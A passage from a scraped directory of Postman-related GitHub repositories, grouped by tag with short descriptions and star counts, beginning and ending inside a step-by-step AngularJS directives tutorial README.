'=' value on your scope object has created a two-way binding between users[0] and currentUser. Now let's try out the '&'. On your home controller add a function called getWeather. It takes one parameter called city. This function will make a call to a service so we'll need to create that. Make a weather service. Name it something cool and creative like weatherService. Inside the weather service make a function called getWeather that also takes one parameter, city. Make an $http get to this url - 'http://api.openweathermap.org/data/2.5/weather?q=' After the q= add on the city parameter. If you want you can test this out in postman. See what kind of data you get back. If it's the weather of that city then... you win! Use $q to return a promise that only resolves with the data you want. Temperature (preferably not in Kelvin) and the weather description. Use console.log on the data coming from the $http request to get to what you want. You'll need to add both on an object that you resolve your new promise with. On your home controller have it return the result of invoking the get getWeather function on the service. You should be returning a promise. Now in your home route's HTML pass in the getWeather function to the dirWeather directive through an attribute called weather-call. Add the attribute to your isolate scope object. That was a lot of linking, but let's walk through it. Your controller has a function linked to the service, which is in turn linked to your directive. So if you run the weatherCall function in your directive it will go through your controller to your service and then back. Now things get a little bit tricky. Angular's way of passing along arguments through a directive to your controller are tricky, but once you understand how to do it, it's not hard. I'm going to give an example here of how it works. Here's how it would look in your HTML. But where's the data supposed to be coming from? It seems that you'd rather be able to pass in data from your directive. Well you still can, you just have to essentially tell angular what do use as an argument to replace data when it calls that function in your controller. The actualy function call inside the directive will look like this. $scope.passFunc({data: wantedData}) So what you'll do is pass in an object where the property name is what the argument is named in the HTML where you call the directive. That might sound confusing, but just look at the two code blocks above for a pattern. Note that pass-func becomes $scope.passFunc and data is being replaced with wantedData with the {data: wantedData} object. In our directive we want to replace city in the attribute call, for something else inside the directive. You'll follow the same pattern as above. For now let's get things set up for that function call. Add to the dirWeather directive object a property called controller. It's value will be a function. Yes, this is a controller specifically for your one directive. It works the same as any other controller, except you don't give it a name. It's $scope object will only be accessible within an instance of your directive. Don't forget to inject $scope in the function. Inside your controller function run the weatherCall function with the city property from the currentUser on your $scope. Here's where you need to make sure you've passed in a city argument in the attribute function call, and then replace that with your currentUser's city using an object with a city property. The function call should return a promise, so call .then afterward and add the data onto your $scope to display both the weather and temperature of the currentUser's city. The properties can be named whatever makes sense to you. You may also want to find a way to get rid of all the decimal places on your temperature. Now you should have everything hooked up so it shows Geoff's data and the weather data for Provo. But is that good enough? Step 6. Ramping up our ramp up. Now let's change this so it shows the weather data for whichever user we select. We're going to need to use '&' again. Make a function on the home controller that takes in a parameter and sets a property on the $scope to be that parameter. Maybe you see where this is going. We want to get this function into our dirDisplay controller. But in order to do that we need to isolate dirDisplay's scope. This also means we need to pass in each individual user through the scope object as well. To make it easier on ourselves, let's pass the current user from our ng-repeat into our directive through a user attribute. This way we can leave our two-way bindings as they are. Also pass our new function that sets our current user from our home controller into our directive through a setUser attribute. You'll need to add an argument in there again. Go with user. Your scope object in dirDisplay should have two properties. setUser with the value of '&' and user with the value of '='. As before we're going to need to do some tricky stuff to get our argument back to our controller. Call the setUser function inside our click event listener and pass in an object the sets our user argument to be the user on our directive's scope object. If you've forgotten this part go back up and take a look at how you did it before or the example in this README. Whatever user you click on now should show up in the dirWeather directive as the current user. But we're missing one thing, we want to be able to see the weather for that user too. We'll have to do one more thing that will seem a little bit tricky at first, but it's good to learn if you don't know it already since it's actually used quite frequently. We need to step up a change listener on our currentUser in the dirWeather directive. We'll use angular's $watch functionality. $watch is a method on your $scope that will watch for changes in a variable you give it. It works in two ways. $scope.$watch('property', function(value){ console.log("When $scope.property changes its new value is: ", value) }); And $scope.$watch(function(){ return myVar }, function(value){ console.log("When myVar changes its new value is: ", value); }); Remove the immediate function call that we have in there now. Maybe just comment it out for now because we'll use it in a bit. Now call the $watch method on your scope and have it watch currentUser. Either way of using $watch is fine. Have its callback run the $scope.weatherCall function just like you had it before. One thing to note is that $scope.$watch will always run once to begin with. Since that's what we want here it's great, but just be aware of that. If you've reached this point congratulate yourself. You've messed with some serious stuff today, namely directives. There are still a lot of things about directives that we can't possibly cover in a single project. If you like what we've done so far then you're in a good place to keep going. A developer who understands directives well can build a really clean looking code base. Just look at your home.html. It could have just two lines in it. If you're feeling good move on now to Step 7. Step 7. Finishing touches Try to work out these problems on your own. There should be a way to let the user know that the weather data is loading. Something that appears while our $http request is retrieving our data. The $http request shouldn't fire on both opening and closing a user's information. A color change for the currently active user would be nicer than showing that user's info inside the dirWeather modal. Or at least less redundant. Whatever else you want. We still haven't explored transclusion and ng-transclude so give that a try if you're feeling adventurous. Just know that it's a way for deciding where to put the HTML child elements of a directive. It's cool stuff that can involve some criss-crossing of scopes. 0 stars 0 watchers 14 forks
AnjolaA/newman-wrapper
config, environment, inject, newman, variable, variables, wrapper 		A wrapper to inject config values postman environment variables 2 stars 2 watchers 0 forks
jerowang/postman-vm-package-injector
description, inject, package, script 		No description available. 0 stars 0 watchers 0 forks
sharrop/swag-post-gen
excel, fields, file, form, generator, inject, module, require, required, swagger, swagger2, test, tests, type 		A Swagger(OAS)v2-to-Postman generator - very much sitting on the shoulders of the excellent npm:swagger2-postman-generator module, but injecting Postman tests for required fields and type conformance - derived from the Swagger/OAS file. 0 stars 0 watchers 0 forks

simulation (4 listings) (Back to Top)

AkwGaniu/USSD
client, simulation 		USSD code for simple simulation with Postman client. 0 stars 0 watchers 0 forks
brguru90/postman-final-server-side-request
realtime, server, simulation 		postman sse for simulation of realtime IoT 0 stars 0 watchers 0 forks
Eusen/ng-postman
simulation 		the Angular App, whice simulation Postman. 0 stars 0 watchers 0 forks
tamilk83/postmanscripts
script, scripts, simulation 		API simulation of Cybercube Apps 0 stars 0 watchers 0 forks

developing (4 listings) (Back to Top)

SheikhZayed/PostMan-Android-Application
data, developing, sets 		This Application can Listen to the Incoming GSM Events in Android Handsets and Automatically forwards those Events to the Configured API in the App,It Could be made Usefull for developing Apps that want to LIsten to Phones GSM Data and forward those data to some Web based Application. 0 stars 0 watchers 6 forks
TVoroshilova/QA-automation-programmer
agile, application, automat, automatic, automation, cloud, degree, developing, development, environment, environments, expect, fluent, form, framework, frameworks, function, functional, home, including, integration, level, method, office, performance, process, product, program, public, release, remote, report, seek, skills, software, spec, specification, specifications, stat, system, test, testing, tests, tool, tools, track, tracking, user, writing 		At least 2 years experience in Testing Automation Development using known software testing tools and frameworks as Selenium, Appium, Postman, etc. ∙ Experience with Web, DB (SQL/NoSQL) and API testing – Must. ∙ Experience with working over Linux OS and public cloud environments – Must. ∙ Experience with defect tracking system (as GIT, Jira or VSTS/Azure Dev Ops) – Must. ∙ Experience in working with Docker – Advantage.We are seeking an experienced QA automation programmer that will be leading the testing automation activities for our SaaS product. ∙ The QA automation programmer will be part of an innovative team developing a challenging, cutting edge technology Web application for the e-Commerce world. ∙ Main responsibilities: Develop test plans including functional testing, end user testing, stress, performance, reliability and usability testing. o Evaluate product code according to specifications, report and track bugs and fixes. o Execute automatic tests on the product during development and pre-release stages. o Work closely with R&D and product teams on new features, system integration and performance testing as a part of a startup company stationed in Israel. o Participate in the complete development process using the agile methodology. ∙ Academic degree from a known institution.High level English – very good writing skills, fluent speech.The candidate agrees to work from Trust’s offices and not remotely from home.Salary expectations: Up to 2000 USD (Gross salary) 0 stars 0 watchers 0 forks
akanuragkumar/postman
data, developing, sets 		This Application can Listen to the Incoming GSM Events in Android Handsets and Automatically forwards those Events to the Configured API in the App,It Could be made Usefull for developing Apps that want to LIsten to Phones GSM Data and forward those data to some Web based Application. 0 stars 0 watchers 0 forks
enahomurphy/micro-recipe
developing, mongo, node, recipe, reusable, service, services, test, usable 		test project for developing highly reusable node/mongo services recipe service 0 stars 0 watchers 0 forks

sequelize (4 listings) (Back to Top)

ljphilp/koa-restful
rest, restful, sequelize 		基于koa2 orm sequelize的restful框架，使用jwt认证，可以使用postman测试学习 0 stars 0 watchers 11 forks
shaishab/sequelize-express-example
application, example, express, generation, schema, sequelize 		An example for the usage of Sequelize within an Express.js application with schema generation from existing table 0 stars 0 watchers 1 forks
alexkmartinez77/startnow-node200-sequelize-workshop
api blueprint, asyncapi, data, database, json schema, node, oauth, openid, operation, operations, route, routes, sequelize, sql, workshop 		Using Postman and Express routes to run CRUD operations on Mysql database. 0 stars 0 watchers 0 forks
saqsham/sequelize-v5.0-starter-api
sequelize, starter 		Using sequelizeORM with Postgres 0 stars 0 watchers 0 forks

configurations (4 listings) (Back to Top)

GAWKmdk/basic-REST.API-with-MeteorJS
client, config, configuration, configurations, sequence 		Instead of using DDP client configurations here is a basic GET, POST and PUT Request sequence. Use with Postman 1 stars 1 watchers 0 forks
mosaiqo/api-postman-tests
config, configuration, configurations, test, tests 		Postman configurations to test the Mosaiqo API 0 stars 0 watchers 0 forks
pbs/postman-config
config, configuration, configurations 		Postman configurations for PBS APIs 0 stars 0 watchers 0 forks
saveenchad/AjaxExplorer
common, config, configuration, configurations, fields, form, play, remote, send, tool, user 		The Super Endpoint Explorer (SEE) app will allow the end user to craft requests to a remote end-point by filling out various form fields, send the request and show the response, and save common request configurations for later playback. The form of the tool is roughly like the Chrome Extension called Postman or an OSX HTTP exploration like Paw but obviously less polished and feature laden. 0 stars 0 watchers 0 forks

continuous (4 listings) (Back to Top)

skoulouzis/DevOpsTutorial
application, continuous, docker, form, integration, test, tests 		Define a simple REST API with OpenAPI and Swagger, write REST API tests using Postman, develop the application logic, dockerize it and finally perform continuous integration (CI) 1 stars 1 watchers 1 forks
Akanksha461/API-Testing-Framework
continuous, framework, integrate, integrated, integration, test, testing 		Api testing framework using postman BDD and integrated with Jenkins for CI(continuous integration) 0 stars 0 watchers 1 forks
karthick-git/concourceCI-newman-slack
automat, automatic, automation, continuous, course, framework, image, integrate, integrated, newman, report, reporting, slack, test, testing, tool 		This is an API automation framework built using Postman's Newman CLI (Docker image) integrated with Concourse (a CI tool) for continuous testing and automatic slack reporting feature. 0 stars 0 watchers 0 forks
AlexMoroz/swagger2posman
collection, continuous, development, environment, generation, swagger, swagger2 		Idea: continuous generation of Postman collection and environment from swagger during development 0 stars 0 watchers 0 forks

transport (4 listings) (Back to Top)

bigzoo/matuba_api
collection, collections, hackathon, http, https, transport 		Backend API during Where is transport hackathon. Postman Collection here: https://www.getpostman.com/collections/f3132fdfe959ba3f60c9 1 stars 1 watchers 0 forks
ivanpmg/transport-team-postman
config, configs, portable, transport 		Importable configs for Postman 0 stars 0 watchers 0 forks
postman-app/postman_transport
behaviour, definition, transport, type, types 		Transport behaviour and types definition for Postman 0 stars 0 watchers 0 forks
Srinu3366/Transport-Objects-Collection
collection, details, object, transport 		Postman collection to get transport object details 0 stars 0 watchers 0 forks

business (4 listings) (Back to Top)

guusbeckett/cm-business-messaging-api-postman-collection
business, collection, description, messaging, script 		No description available. 0 stars 0 watchers 0 forks
gouravjixer/Informal-letter-format
address, application, business, case, collection, collections, compose, creation, design, download, exercise, form, format, instruction, issue, letters, message, messages, method, school, secure, secured, sort, sorted, spec, steem, struct, test, tests, to do, user, util, utilization, welcome 		Casual Letter Format Sample is as yet a fundamental ability being in the realm of messages and messages. Each individual needs to compose letters in a few or other way. Letters for an occupation application, protests, thank you, asking for something, recommending something and so forth are in pattern might be in a business field or in school period. It likewise has its favorable circumstances. Empowering understudies in early ages for composing casual letter organize CBSE will enhance their relational abilities, include certainty, enhancing penmanship aptitudes, and make them think about composing organization and utilizations and its organizing that how formal and casual letters vary and make significance. The most effective method to compose a casual letter design Composing a casual letter arrange in English professionally is better and make your esteem. A casual letter can be composed in any criteria or way you can pick however composing it in a sorted out way will make its esteem. You ought to take after the organization in like manner. Right off the bat comes the opening: in this one should know how to address the peruser legitimately in a casual way. This ought to be direct and begin by specifying the name of the individual with a sweet welcome. What's more, begin your letter like, 'how are you?', 'trust you are fine.' Etc. The body: the body ought to be composed in a well disposed and individual tone. Consider your genuine relations and issues and begin composing it in like manner tone and dialect. Shutting: here one condenses their perspectives and give a farewell or get together the wave. You can specify, 'see you soon.', 'can hardly wait to see you.' and so forth. Also, compose your name and mark toward the end. casual letter case pdf casual letter case pdf Snap Here To Download Informal letter case pdf Unique ABOUT HANDWRITTEN LETTERS There are fun and creation in written by hand letters. There is still exceptionalness contributing a letter in the case and getting it from a postman, secured with beautiful stamps and love. This shows somebody has set aside time for you to think and sit to compose a letter. These have their own particular appeal. Configuration of casual letter in english Configuration of casual letter in english Configuration of casual letter in english Snap Here To Download Format of the casual letter in English Step by step instructions to compose an individual letter the most effective method to compose an individual letter the most effective method to compose an individual letter Snap here to download how to compose an individual letter PDF End These have their own esteem. These are sent by adoration and time and one keeps them for whatever length of time that recollections. These likewise have exercises and help youngsters to indicate inventiveness, have some good times, take in its significance and upgrade their aptitudes. 0 stars 0 watchers 0 forks
awaisbub/Shircle
aapplication, android, application, back end, business, businesses, customer, data, database, design, designed, developer, entity, following, framework, generation, insight, inventory, keeper, local, mobile, product, products, report, reports, rest, setup, solution, store, stores, studio, track 		It is Android aapplication back end code made for small local businesses. The back end of this application is in C# .NET using MVC architecture making REST APIs. And all the views are on Android. I worked as a back end developer in this app. Back end of the app is in c# using .NET entity framework. REST APIs developed using Model View Controller(MVC) architecture. Views were designed on android studio. The database was designed by using Code First Approach. (Visual Studio, Android Studio, Microsoft Azure, Microsoft SQL, SQLite, Postman, Entity Framework, MVC, Firebase REST API’s, REST API’s, JSON) This app has the following features: I. It provides all in one business solution to shopkeepers. Shopkeeper can setup his online store, manage sales through mobile POS, track of inventory, sale reports generation, market insights, and trending products. II. On the other hand, customer can view nearby stores through Google Maps & Shircle-Eye, add products to virtual cart, and view trending items according to their interests. 0 stars 0 watchers 0 forks
Simbadeveloper/AndelaCodeCamp
application, brings, business, businesses, catalog, customer, customers, developer, form, platform, register, reviews, user, users, web app 		a web application that provides a platform that brings businesses and individuals together. The platform will be a catalog where business owners can register their businesses for visibility to potential customers and will also give users (customers) the ability to write reviews for the businesses. 0 stars 0 watchers 0 forks

series (4 listings) (Back to Top)

Mir00r/busticketing
access, action, actor, admin, api blueprint, application, applications, asyncapi, auth, authentication, boot, browser, case, cases, compare, compose, consisting, container, default, define, design, development, devices, docker, engine, file, find, following, form, frontend, function, functional, host, import, inside, install, interface, json schema, library, link, local, material, mobile, mysql, oauth, openid, operate, popular, predefined, profile, prototype, render, reservation, responsive, result, schedule, search, security, series, server, sessions, sql, system, systems, template, templates, ticket, token, type, user, users, web app 		Bus Reservation System_ and tried to implement an Admin portal which can be operated over browsers and a series of REST APIs to interact with the system using mobile applications or frontend applications written for the browsers. The complete systems has two important actors : 1. Admin user 2. End user The _Admin user_ can access this application on browser (laptop or mobile/tablet, doesn't really matter as this is built using bootstrap, material design and is completely responsive) and can perform the following actions : 1. Signup 2. Login (Spring sessions) 3. Update their profile 4. Create an agency 5. Add buses to the agency 6. Add trips consisting of predefined stops and buses The _End user_ can use their mobile application (yet to be built, however the REST APIs are ready and could be used via Postman or Swagger) to perform the following actions : 1. Signup 2. Login (and get a JWT token) 3. List all available stops 4. Search a trip between any two stops 5. Filter search results with a date option 6. Book a ticket for a given trip schedule Admin interface and REST APIs both have their independent authentication mechanisms, the web application uses the cookie based authentication (provided by default by Spring security) and the REST API uses the JWT authentication for access. This application assumes the availability of 'MongoDB' installation on the localhost where the server will run or the use of docker-compose to boot up a mysqldb container and link the application with it within the realm of docker. Any changes that the admin users will do on the web portal will impact the search results of the end users, there will be certain use cases which you may find missing here, I hope you will appreciate that the overall idea was to present a way to create such an application completely inside the realm of Spring Boot and not to actually building a fully functional reservation system. The admin user interface is completely written in material design using Bootstrap v4 and is responsive to suite a variety of devices. The template engine used to render the admin views is Thymeleaf since the library is extremely extensible and its natural templating capability ensures templates can be prototyped without a back-end – which makes development very fast when compared with other popular template engines such as JSP. 1 stars 1 watchers 2 forks
bcchapman/postmanblog
blog, corresponds, sample, series 		This is the sample project that corresponds to my blog series on Postman 0 stars 0 watchers 1 forks
multimac/data-driven-postman
data, drive, driven, running, script, scripts, series, test, tests 		A series of scripts for running data-driven tests using Postman 0 stars 0 watchers 0 forks
suncor-timeseries-trial/postman_collection_ThingModel
collection, data, series, trial 		This is a Postman collection for Modeling a Sample data set in the SAP Leonardo Thing Model. The Model was based on a subset of data provided. 0 stars 0 watchers 0 forks

signature (4 listings) (Back to Top)

simionrobert/cloud-signature-consortium
cloud, consortium, signature, sort 		Cloud Signature Consortium Remote Signature Service Provider in Node.js 3 stars 3 watchers 1 forks
VictorioBerra/duo-v1-postman-signer
inside, sha1, signature 		Use the Duo v1 API via sha1 using the v2 signature all inside postman. 1 stars 1 watchers 0 forks
4lador/postman-hmac-sha1-http-prescript
following, header, hmac, http, prescript, script, sha1, signature 		Postman Pre-Request Script that Generate HMAC-SHA1 valid 'Authorization' header following HTTP signature scheme 0 stars 0 watchers 0 forks
larrydeck/postman-oclc-hmac
auth, authorization, generate, header, hmac, script, signature, signatures 		Postman pre-request script to generate HMAC signatures and authorization headers for OCLC APIs. 0 stars 0 watchers 0 forks

mirror (4 listings) (Back to Top)

erthalion/django-postman
bitbucket, bucket, django, github, http, https, mirror 		github mirror of https://bitbucket.org/erthalion/django-postman 0 stars 0 watchers 0 forks
WPPlugins/postman-gmail-extension
extension, http, https, mail, mirror, plugin, release, test, wordpress 		This is a mirror of the svn repo: https://plugins.svn.wordpress.org/postman-gmail-extension/, the master is always the latest release. 0 stars 0 watchers 0 forks
WPPlugins/postman-smtp
http, https, mirror, plugin, release, smtp, test, wordpress 		This is a mirror of the svn repo: https://plugins.svn.wordpress.org/postman-smtp/, the master is always the latest release. 0 stars 0 watchers 0 forks
WPPlugins/postman-widget
http, https, mirror, plugin, release, test, wordpress 		This is a mirror of the svn repo: https://plugins.svn.wordpress.org/postman-widget/, the master is always the latest release. 0 stars 0 watchers 0 forks

end to end (4 listings) (Back to Top)

akshaymittal143/BookAPI-Web-Services
combine, combined, data, development, end to end, express, integration, light, lightweight, powerful, quickly, server, service, services, test, tests, tool, unit, verb, verbs 		Node.js is a simple and powerful tool for back-end development. When combined with express, you can create lightweight, fast, scalable APIs quickly and simply. which will walk through how to stand up a lightweight Express server serving truly RESTful services using Node.js, Mongoose, and MongoDB. We will implement all of the RESTful verbs to get, add, and update data from our service. We will also spend some time working through unit and end to end integration tests for our services. 1 stars 1 watchers 0 forks
DanSchon/postman_rest_api_test_automation
automat, automate, automated, automation, collection, end to end, rest, rest api, test 		built an automated end to end rest api test collection 0 stars 0 watchers 1 forks
jenkinteste2e/Postman_Jenkin_Bdd
end to end, integration, test 		end to end continous integration 0 stars 0 watchers 0 forks
Nihal-197/MMM
coding, config, data, end to end, file, knowledge, model, test, tested, user, wiki 		A complete end to end Market Mix Model. Furthermore created an API and successfully tested on postman. Ready to deploy model to any data, with the only change in config file( complete API works as a black box for the user requiring no knowledge of coding). Includes the wiki page for more detailed explanation 0 stars 0 watchers 0 forks

moved (4 listings) (Back to Top)

cprice-ping/Postman-Personal
entity, move, moved, rest 		Collections I'm working on - those of interest to the broader Ping Identity audience will be moved over 1 stars 1 watchers 0 forks
smmcgrath/MyFirstApp
access, accessed, application, auth, authentication, backend, case, client, comments, communicate, data, database, databases, design, designed, development, environment, example, form, framework, function, hashi, host, hosted, includes, including, mean, mini, minimal, move, moved, network, object, objects, program, protecting, remote, rest, restrict, retrieve, schema, schemas, server, site, source, style, terminal, test, tested, token, tokens, transform, transforming, updated, web app 		Built in Node.js open source server framework. In this project I moved from client-side development (using JavaScript, HTML, and CSS) to building a server-side web application using the Express.js web framework hosted in Node.js runtime environment. The site includes a flatty style landing page including navigatation bar, sign-up forms, staff info etc. It has an uncluttered and minimal UI. The backend API’s communicated with databases designed using MongoDB, an example of a NoSQL database program using JSON-like objects with schemas. All APIs, including GET, PUT, UPDATE and DELETE were tested using Postman. Great experience using PuTTY open-source terminal emulator, working remotely over SSH network protocol. Securing my API with authentication; hashing passwords using Bcrypt and issuing tokens with JSON Web Token (JWT). New additions help to restrict access and ensure tokens are verified. Previous to this the back-end APIs could be easily accessed via the URL. User comments coudl be retrieved, new ones saved, deleted or updated. Hashing is a means of transforming a string of characters (passwords, in my case) into a different and larger set of characters, thus protecting our sensitive data. Bcrypt is the password hashing function used. 1 stars 1 watchers 0 forks
aq1/vkPostman
chat, friend, move, moved, telegram 		You removed yourself from VK but have some friends you want to chat? This telegram bot can help you! 0 stars 0 watchers 0 forks
qijia00/Postman_JavaScript_npm_ChaiAssertionLibrary
execution, form, format, information, integration, move, moved, package, pipeline, script, scripts 		Sample Postman scripts I created in JavaScript with Chai Assertion Library. The scripts are also packaged by npm for easy execution and integration to CI/CD pipeline with Jenkins. Authentication information has been removed for privacy reasons. 0 stars 0 watchers 0 forks

understanding (4 listings) (Back to Top)

HP213/My_first_cryptocurrency
action, chai, comments, connection, crypto, cryptocurrency, currency, http, local, locally, node, require, suggest, system, transactions, understanding, user 		Using Blockchain, I made my first cryptocurrency, I suggest using postman for better understanding. Baiscally we made an decentralized system of transferring cryptocurrency. It is runnig locally on http://127.0.0.1:5001/ you can chage port according to requirement and new user. Post request is made to add transactions and create a new node and get request to block new mine and get chain. Everything mentioned in code with comments, we have made three ports http://127.0.0.1:5002/, http://127.0.0.1:5003/, http://127.0.0.1:5004/, to show connections between three miners "A" "B" and "C". You can make more 0 stars 0 watchers 0 forks
Aizaz299/Get-and-post
course, json, middleware, understanding 		Simple code for the understanding of the get and post requests. I used json middleware. I creating new course as well by using post request through postman. 0 stars 0 watchers 0 forks
andersonBrunu/Aprendendo-o-Basico-do-SpringBoot
banco, data, database, eclipse, learn, learning, to do, understanding 		Pequeno Projeto com SpringBoot com Jave usando a IDE eclipse. não contem front-end é apenas para o entendimento e começo de aprendizagem. usei o postman para fazer as requisições. possui integração com banco de dados MYSQL.. . . . . . . . . . .Small Project with SpringBoot with Jave using an eclipse IDE. does not contain front-end is only for the understanding and beginning of learning. use the postman to do as requisitions. Integration with MYSQL database. 0 stars 0 watchers 0 forks
Leaf-Agriculture/postman-collections
collection, collections, facilitate, sample, understanding 		This repository contains sample collections to facilitate the understanding and usage of Leaf's API 0 stars 0 watchers 0 forks

letters (4 listings) (Back to Top)

gouravjixer/Informal-letter-format
address, application, business, case, collection, collections, compose, creation, design, download, exercise, form, format, instruction, issue, letters, message, messages, method, school, secure, secured, sort, sorted, spec, steem, struct, test, tests, to do, user, util, utilization, welcome 		Casual Letter Format Sample is as yet a fundamental ability being in the realm of messages and messages. Each individual needs to compose letters in a few or other way. Letters for an occupation application, protests, thank you, asking for something, recommending something and so forth are in pattern might be in a business field or in school period. It likewise has its favorable circumstances. Empowering understudies in early ages for composing casual letter organize CBSE will enhance their relational abilities, include certainty, enhancing penmanship aptitudes, and make them think about composing organization and utilizations and its organizing that how formal and casual letters vary and make significance. The most effective method to compose a casual letter design Composing a casual letter arrange in English professionally is better and make your esteem. A casual letter can be composed in any criteria or way you can pick however composing it in a sorted out way will make its esteem. You ought to take after the organization in like manner. Right off the bat comes the opening: in this one should know how to address the peruser legitimately in a casual way. This ought to be direct and begin by specifying the name of the individual with a sweet welcome. What's more, begin your letter like, 'how are you?', 'trust you are fine.' Etc. The body: the body ought to be composed in a well disposed and individual tone. Consider your genuine relations and issues and begin composing it in like manner tone and dialect. Shutting: here one condenses their perspectives and give a farewell or get together the wave. You can specify, 'see you soon.', 'can hardly wait to see you.' and so forth. Also, compose your name and mark toward the end. casual letter case pdf casual letter case pdf Snap Here To Download Informal letter case pdf Unique ABOUT HANDWRITTEN LETTERS There are fun and creation in written by hand letters. There is still exceptionalness contributing a letter in the case and getting it from a postman, secured with beautiful stamps and love. This shows somebody has set aside time for you to think and sit to compose a letter. These have their own particular appeal. Configuration of casual letter in english Configuration of casual letter in english Configuration of casual letter in english Snap Here To Download Format of the casual letter in English Step by step instructions to compose an individual letter the most effective method to compose an individual letter the most effective method to compose an individual letter Snap here to download how to compose an individual letter PDF End These have their own esteem. These are sent by adoration and time and one keeps them for whatever length of time that recollections. These likewise have exercises and help youngsters to indicate inventiveness, have some good times, take in its significance and upgrade their aptitudes. 0 stars 0 watchers 0 forks
Encoder96/SCOUT-IT
game, letters 		It is a game in which postman has to deliver the letters in least time. 0 stars 0 watchers 0 forks
melperez19/HTML-Email-Newsletter
creation, letters, mail, recreation 		A recreation of one of Postman's Monthly Email Newsletters using HTML & CSS 0 stars 0 watchers 0 forks
NogerbekNurzhan/postman
e mail, letters, mail, personal, send, service 		Web service for sending letters to personal corporate mail via SMTP protocol. 0 stars 0 watchers 0 forks

ajax (4 listings) (Back to Top)

anilrayamajhi/postman_node-ajax
ajax, description, node, script 		No description available. 0 stars 0 watchers 0 forks
danielxcom/todolist_using_api_and_ajax
actor, ajax, file, helper, list, operation, operations, service, services, syntax, test, tested, todo 		Test-run of ajax syntax, todolist using RESTful web services tested with POSTMAN. Refactored REST operations in Promises + put them in helper file to make modular todos.js. Schema created using MongoDB 0 stars 0 watchers 0 forks
katalderman/ajax-example
ajax, example 		Working with ajax & postman 0 stars 0 watchers 0 forks
StriveForBest/django-postman
ajax, django, fork, form, function, functional, place, placeholder, support 		django-postman fork to support ajax response, form placeholders and `mark as read` functionality 0 stars 0 watchers 0 forks

array (4 listings) (Back to Top)

sn0112358/Angular-Directive-Project
access, active, advance, angular, array, boiler, boilerplate, case, changing, check, city, common, complex, config, connection, console, controller, convert, converte, correct, current, data, debug, default, definition, description, developer, directives, directory, display, element, elements, email, ember, essential, event, example, expect, explore, file, find, folder, following, forge, form, format, function, functional, general, home, html, http, import, included, index, information, initial, inject, inside, instance, instruction, invoking, issue, learn, learning, lesson, lines, link, list, listen, location, mail, match, mean, media, method, module, move, named, namely, names, note, object, objects, order, parameter, parent, passing, path, place, play, previous, print, problem, projects, properties, reference, replace, result, reusable, route, router, script, select, sense, service, sets, single, spec, struct, style, talent, talk, template, test, things, to do, tutorial, usable, user, users, variable, weather, whole, wrapper, wrappers, wraps 		Angular-Directive-Project Directives range from very basic to extremely complex. This project will build up to some somewhat difficult directives. Keep in mind that the format we're learning for directives is the same format used to build some extremely complex things in angular. Using directives often and well is one way to show you're a talented developer. Starting Out We've included only a few things for you to begin with. index.html, app.js, styles.css. At this point the best way to get more comfortable with angular is to initialize an app without relying heavily on boilerplate code (reusable code that starts out your projects for you). You'll notice that in the index.html we've included the angular-route CDN. Yes, we'll be using angular's router here. Put an ng-view into your index.html. In your app.js set up a config and set up our first route for when a user is at the '/home' url. If you're having trouble remembering how to set up the router go look at how you set up the router on the previous project. One way these projects will be beneficial to you is allowing you to look back at something *you** did and seeing how you got that something to work.* You may also want add an otherwise that defaults to /home. Create a controller and a template file for this route in your app folder. Don't forget to include the controller as a script in your index.html Check that everything is hooked up correctly. Try adding a div with some text in your home template just to make sure it's showing up. Once you've got that going you're ready to start on some directives. Now let's make our directive. We'll start with a simple one that we can use to display information passed to it. Step 1. Start your directive Woot. When you're initializing your directive just remember that it works very similarly to how you start up a controller or a service. It can also be very helpful to think of your directive as a route. Create your directive. You'll use the directive method on your angular module. It takes two arguments, the name string and the callback function, which will return the object that represents your directive. When naming your directive give it a name with two words; dirDisplay would be nice, but anything works. Just remember it's best practice to give a directive a camel case name so that it's clear in your html what it is. Also we're going to need a template html for our directive. We could do it inline, but let's make another file instead. Just name it something that makes sense for the name of your directive and put it in the same directory as your directive file. For your template just make a and inside a tag that says User. Now in your home route html add in your directive. It will look like this if you named it dirDisplay: Start up your app and go to the home route. Check and make sure you see User where your directive was placed. If you're not seeing it at this point it could mean a few things. Here's some more common issues. You didn't link your directive in your index as a script. Your name for your directive doesn't match the name in your html. Remember camel case becomes snake case so myDirective becomes . You're file path to your html template is wrong. You have to think of file paths in angular as relative to the index. Here's some code to see just for this part, and just for the directive's js file. var app = angular.module('directivePractice'); app.directive('dirDisplay', function(){ return { templateUrl: 'app/directives/dirDisplay.html' }; }); What we're returning is the directive object. You won't see anymore code in this tutorial so it's important you get things working right and refer back to what you've already done to advance from now on. Step 2. Advancing directives Your directive should be loaded up now, but it's not really doing much. Let's make it better. In your home controller. Make a variable on your $scope called user. Set it's value to { name: "Geoff McMammy", age: 43, email: "[email protected]" } Now inside your directive's html specifically inside the tags display our new user's name. Then inside maybe some tags display his email and age. This is going to work exactly the same as if it was just inside your home controller. Reload the page and make sure it works. This is still very cosmetic and really not all that useful. It needs functionality. Add into your directive's object the link property. The link property's value is a function definition that takes (generally) three parameters. scope, element, and attributes. Unlike in other places with angular injection these parameter names don't carry meaning. The first parameter will always represent your $scope for that directive, the second will always be the element that wraps your whole directive, and the third will always be an object containing all the properties and values of the attributes on your directive in the dom. Try the following to get a feel for all three. Add two attributes to your directive in your html. Like this - Now in the link property you've added console.log the three parameters in the function. You'll see an object for scope that should look identical to the $scope of your html function. For element you'll see an object the represents the DOM wrapper for your directive. For attributes you'll see an object that will look like this: { test: "myTest", myCheck: "checkItOut" } An important thing to notice is how it has again converted snake case to camel case for you. my-check became myCheck. Don't forget this. You'll run into this issue one day. It counts for both attributes and directive names. To feel some of what the link function could do let's try this. Add a ng-show to both the email and age wrappers. This should be familiar to you. Now inside your link function add a click event listener to your element property. It's going to look just like jQuery. element.on('click', function(){ }) Inside the click listener's callback add a toggle for the ng-show property you passed in. Along with a console.log to make sure things are connecting when you click. Try it out. Don't call for a mentor when it doesn't work. Let's talk about that first. You should see the console.log firing, but why isn't it toggling. This is going to be a common problem when working with the link function and event listeners. What we have here is an angular digest problem. The value is changing on the scope object, but the change isn't being reflected by our DOM. That's because angular isn't aware of the change yet. Anytime we cause an event to happen using something like jQuery or even angular's jQLite we need to let angular know that we've made a change. Add this line of code in place of your console.log, scope.$apply(). Now try it out. It should be working now, so if you're still having issues it's time to debug. What we've done is forced angular to run it's digest cycle. This is where angular checks the scope object for changes and then applies those to the DOM. This is another good lesson to learn for later. You'll most likely hit this when making changes to your element using event listeners. Step 3. Directive's re-usability. Now our directive has some extremely basic functionality. One of a directive's greatest advantages though is its ability to be placed anywhere and still be functional. Let's say instead we had a list of users instead of just one. Change the $scope property in your home controller to be users 